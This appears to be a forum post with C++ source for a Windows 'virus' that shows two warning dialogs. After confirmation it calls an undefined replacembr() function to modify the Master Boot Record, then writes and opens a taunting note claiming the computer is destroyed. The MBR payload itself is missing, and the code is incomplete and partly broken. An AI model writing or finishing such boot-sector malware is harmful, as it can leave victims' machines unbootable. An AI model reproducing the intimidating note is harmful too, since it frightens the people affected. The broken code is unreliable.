用户:
HeadingForSource查看:0 回复:0 评论:0 创建时间:2021-01-15T22:37:44
#include <Windows.h>
#include <cstdio>
#include <cstdlib>
int killWindows(){
}
int main(){
//使用MessageBoxA()函数弹出窗口+if判断,如果返回6(YES)则进入下一轮弹窗
if (MessageBoxA(0,
" 这个运行界面可以开始病毒之旅。"
"\n"
"如果你很清楚你在干什么,你可以点击确定键继续,或者点击取消取消运行。我们在这个界面后还设置了一个对话框。这个病毒不会破坏文件,但是会修改MBR,危害比较大。"
"\n"
"\n"
" 继续运行它?"
"\n"
"\n"
" This running interface can start the journey of virus."
"\r\n"
"\r\n"
"If you know exactly what you are doing, you can click OK to continue, or click Cancel to cancel the run. We also set up a dialog box behind this interface. This virus will not destroy the file, but will modify the MBR, the harm is relatively large."
"\r\n"
" CONTINUE TO RUN IT?",
"CJP工作室",
0x34u) == 6 && MessageBoxA(0,
" 这是最后警告!"
"\r\n"
"CJP工作室 DVLoper将不承担任何法律责任以及赔偿!如果点击确定,在你点击的一瞬间你的电脑就已经被损坏了!\r\n"
"\r\n"
"继续运行它?",
"CJP工作室 DVLoper",
0x34u) == 6){
//如果两轮警告全部返回6,新建一个名为note的笔记本并写入内容再打开
if (!replacembr()) exit(3);
FILE *outfile;
if ((outfile = fopen("\\note.txt", "w")) == NULL)
exit(4);
if (fputs(
"你的电脑已经被DVLoper木马破坏了!\n"
"\n"
"你的电脑已经无法挽救了!这是你想要的结果吗?\n"
"在你电脑最后一段时间你跟它告别吧!\n"
"尝试终止或删除该木马会使你电脑崩溃,关闭窗口会使电脑蓝屏,\n"
"所以不要尝试! 大笑",
outfile
) == EOF)
exit(5);
ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);
fclose(outfile);
#ifndef OLDVERSION
}
#endif
}